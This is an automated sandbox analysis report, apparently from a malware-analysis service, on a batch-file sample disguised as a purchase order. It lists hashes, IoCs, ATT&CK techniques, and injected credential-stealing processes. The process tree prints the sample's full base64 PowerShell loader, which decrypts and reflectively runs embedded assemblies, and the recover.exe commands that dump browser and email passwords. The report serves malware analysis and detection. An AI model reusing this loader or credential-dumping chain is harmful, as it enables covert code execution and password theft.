e19ec7bcc1a7e0bd92b96d4fbab1c65e650e3645611710661e5bc401242df9f5

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
14/03/2025, 00:46

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General

Target
PO#250059712.bat
Size 709KB
Sample250314-a4nd1axtay
SHA256 e19ec7bcc1a7e0bd92b96d4fbab1c65e650e3645611710661e5bc401242df9f5
MD5 e296c22d383e4283bc790e63eab3c98c
SHA1 2e8c3e6b64bf8b4953310352f81a41fbef95ad4d
SHA512 d5e30d95b3e8b5d287988219a2c5fda63f5b7affca07894bc1c05c85242c6ff10cfd1d28d5919bfeac9dfb7aca1e62dc7e5681709198e2fd7118dff35a7f3543
SSDEEP 12288:FsvHfM29/pWPSex31f8I/lZ+bkYb32ZKE8Uh5o1Np/wkQmjkhZKdQ2qWe:+/pmSebEOOxb3aKlGoTp/TQDZKdQZWe
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

collection discovery execution

Malware Config

Signatures

Detected Nirsoft tools 9 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1096-35-0x0000000000400000-0x000000000047D000-memory.dmp	Nirsoft
behavioral2/memory/1096-40-0x0000000000400000-0x000000000047D000-memory.dmp	Nirsoft
behavioral2/memory/5028-45-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2928-42-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/5028-53-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1096-52-0x0000000000400000-0x000000000047D000-memory.dmp	Nirsoft
behavioral2/memory/5028-54-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2928-50-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1096-56-0x0000000000400000-0x000000000047D000-memory.dmp	Nirsoft

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2928-42-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/2928-50-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 4 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1096-35-0x0000000000400000-0x000000000047D000-memory.dmp	WebBrowserPassView
behavioral2/memory/1096-40-0x0000000000400000-0x000000000047D000-memory.dmp	WebBrowserPassView
behavioral2/memory/1096-52-0x0000000000400000-0x000000000047D000-memory.dmp	WebBrowserPassView
behavioral2/memory/1096-56-0x0000000000400000-0x000000000047D000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
27	5072	powershell.exe
28	5072	powershell.exe
30	5072	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5072	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_343a1d5a.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_343a1d5a.cmd	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	recover.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5072 set thread context of 1096	5072	powershell.exe	94
PID 5072 set thread context of 2928	5072	powershell.exe	95
PID 5072 set thread context of 5028	5072	powershell.exe	96

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recover.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recover.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recover.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5072	powershell.exe
5072	powershell.exe
1096	recover.exe
1096	recover.exe
5028	recover.exe
5028	recover.exe
1096	recover.exe
1096	recover.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5072	powershell.exe
5072	powershell.exe
5072	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	5028	recover.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5072	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 920 wrote to memory of 2084	920	cmd.exe	87
PID 920 wrote to memory of 2084	920	cmd.exe	87
PID 2084 wrote to memory of 5072	2084	cmd.exe	89
PID 2084 wrote to memory of 5072	2084	cmd.exe	89
PID 2084 wrote to memory of 5072	2084	cmd.exe	89
PID 5072 wrote to memory of 1096	5072	powershell.exe	94
PID 5072 wrote to memory of 1096	5072	powershell.exe	94
PID 5072 wrote to memory of 1096	5072	powershell.exe	94
PID 5072 wrote to memory of 1096	5072	powershell.exe	94
PID 5072 wrote to memory of 2928	5072	powershell.exe	95
PID 5072 wrote to memory of 2928	5072	powershell.exe	95
PID 5072 wrote to memory of 2928	5072	powershell.exe	95
PID 5072 wrote to memory of 2928	5072	powershell.exe	95
PID 5072 wrote to memory of 5028	5072	powershell.exe	96
PID 5072 wrote to memory of 5028	5072	powershell.exe	96
PID 5072 wrote to memory of 5028	5072	powershell.exe	96
PID 5072 wrote to memory of 5028	5072	powershell.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO#250059712.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PO#250059712.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskeXRyeWggPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHl0cnloKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR5dHJ5aCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR5dHJ5aCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkeXRyeWgiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gbnhrdXUoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2U1SmxNQUcvYUkwV2ZCaG1LNGJCRytxemhzSDhzVXJOZnpYdWU0ZkNIOUE9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0RsR0sxaVhHaUd2a2VvdkRiRURxRlE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gbWVienIoJHBhcmFtX3Zhcil7CSRrcHp3Yz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkeXlxaHE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkanVlZXM9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgka3B6d2MsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGp1ZWVzLkNvcHlUbygkeXlxaHEpOwkkanVlZXMuRGlzcG9zZSgpOwkka3B6d2MuRGlzcG9zZSgpOwkkeXlxaHEuRGlzcG9zZSgpOwkkeXlxaHEuVG9BcnJheSgpO31mdW5jdGlvbiBuanNrbigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGRvYXp1PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHlxcm14PSRkb2F6dS5FbnRyeVBvaW50OwkkeXFybXguSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHl0cnloOyR4YnB6aj1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHl0cnloKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbnZpIGluICR4YnB6aikgewlpZiAoJG52aS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHRvb2JuPSRudmkuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHVjcmpiPVtzdHJpbmdbXV0kdG9vYm4uU3BsaXQoJ1wnKTskd3h0b2s9bWVienIgKG54a3V1IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHVjcmpiWzBdKSkpOyR2eHludz1tZWJ6ciAobnhrdXUgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdWNyamJbMV0pKSk7bmpza24gJHd4dG9rICRudWxsO25qc2tuICR2eHludyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\SysWOW64\recover.exe
      C:\Windows\SysWOW64\recover.exe /stext "C:\Users\Admin\AppData\Local\Temp\evbjxdzgemqmub"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1096
  - - C:\Windows\SysWOW64\recover.exe
      C:\Windows\SysWOW64\recover.exe /stext "C:\Users\Admin\AppData\Local\Temp\oxocxwkasuirxpikrx"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:2928
  - - C:\Windows\SysWOW64\recover.exe
      C:\Windows\SysWOW64\recover.exe /stext "C:\Users\Admin\AppData\Local\Temp\zstmyovcocavhvwoiifvu"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_obhxlotr.ift.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obhxlotr.ift.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

evbjxdzgemqmub

Path C:\Users\Admin\AppData\Local\Temp\evbjxdzgemqmub
Size 4KB
SHA256 4c1253cd0f12ee174d5d884aeac3d0a2d7ebe4cc40bfdf0b9f1e7a6b8a5fd457
MD5 4255350d7fcd9e786c18d1219eca224a
SHA1 ebffa22ce633262b08a479ca8a90477018d35b57
SHA512 3dd55a2387a6682f4d729606eb4889d4cb6f40689ee14ce081f6cb5cfa2c0986774ffe8088e3d0d1226e44f17ad7ef3b58677caac6c99be23c8a1182d620c34a
SSDEEP 48:wvvv0WxfvvcWxfdvv0WxBvv0Wxakvv0W7:mvDxv7p1vDPvDbvD7
MD5 SHA1 SHA512 SSDEEP

Submit Download

dwm.bat

Path C:\Users\Admin\dwm.bat
Size 709KB
SHA256 e19ec7bcc1a7e0bd92b96d4fbab1c65e650e3645611710661e5bc401242df9f5
MD5 e296c22d383e4283bc790e63eab3c98c
SHA1 2e8c3e6b64bf8b4953310352f81a41fbef95ad4d
SHA512 d5e30d95b3e8b5d287988219a2c5fda63f5b7affca07894bc1c05c85242c6ff10cfd1d28d5919bfeac9dfb7aca1e62dc7e5681709198e2fd7118dff35a7f3543
SSDEEP 12288:FsvHfM29/pWPSex31f8I/lZ+bkYb32ZKE8Uh5o1Np/wkQmjkhZKdQ2qWe:+/pmSebEOOxb3aKlGoTp/TQDZKdQZWe
MD5 SHA1 SHA512 SSDEEP

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memory/1096-56-0x0000000000400000-0x000000000047D000-memory.dmp

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memory/1096-35-0x0000000000400000-0x000000000047D000-memory.dmp

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memory/1096-40-0x0000000000400000-0x000000000047D000-memory.dmp

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memory/1096-52-0x0000000000400000-0x000000000047D000-memory.dmp

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memory/2928-42-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/2928-41-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/2928-36-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/2928-50-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/5028-53-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/5028-44-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/5028-45-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/5028-54-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/5028-38-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/5072-20-0x0000000005AB0000-0x0000000005ACE000-memory.dmp

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memory/5072-19-0x00000000056D0000-0x0000000005A24000-memory.dmp

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memory/5072-28-0x0000000006EE0000-0x0000000006F72000-memory.dmp

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memory/5072-29-0x0000000000A90000-0x0000000000A98000-memory.dmp

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memory/5072-30-0x0000000007170000-0x00000000071F6000-memory.dmp

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memory/5072-33-0x0000000074870000-0x0000000075020000-memory.dmp

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memory/5072-25-0x0000000006020000-0x0000000006042000-memory.dmp

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memory/5072-24-0x0000000006D60000-0x0000000006DF6000-memory.dmp

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memory/5072-23-0x0000000005F20000-0x0000000005F3A000-memory.dmp

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memory/5072-22-0x00000000073E0000-0x0000000007A5A000-memory.dmp

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memory/5072-46-0x000000007487E000-0x000000007487F000-memory.dmp

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memory/5072-21-0x0000000005B60000-0x0000000005BAC000-memory.dmp

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memory/5072-2-0x000000007487E000-0x000000007487F000-memory.dmp

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memory/5072-26-0x0000000007A60000-0x0000000008004000-memory.dmp

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memory/5072-9-0x00000000053F0000-0x0000000005456000-memory.dmp

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memory/5072-8-0x00000000052D0000-0x0000000005336000-memory.dmp

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memory/5072-7-0x0000000004C00000-0x0000000004C22000-memory.dmp

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memory/5072-51-0x0000000074870000-0x0000000075020000-memory.dmp

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memory/5072-6-0x0000000074870000-0x0000000075020000-memory.dmp

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memory/5072-5-0x0000000074870000-0x0000000075020000-memory.dmp

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memory/5072-4-0x0000000004CA0000-0x00000000052C8000-memory.dmp

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memory/5072-3-0x0000000002500000-0x0000000002536000-memory.dmp

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memory/5072-58-0x0000000010000000-0x0000000010019000-memory.dmp

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memory/5072-62-0x0000000010000000-0x0000000010019000-memory.dmp

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memory/5072-61-0x0000000010000000-0x0000000010019000-memory.dmp

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memory/5072-65-0x0000000074870000-0x0000000075020000-memory.dmp

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